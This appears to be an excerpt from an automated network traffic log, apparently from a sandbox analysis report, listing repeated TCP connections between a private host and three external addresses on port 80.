          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
          Source: global trafficTCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
          Source: global trafficTCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
          Source: global trafficTCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
          Source: global trafficTCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
          Source: global trafficTCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
          Source: global trafficTCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
          Source: global trafficTCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
          Source: global trafficTCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
          Source: global trafficTCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
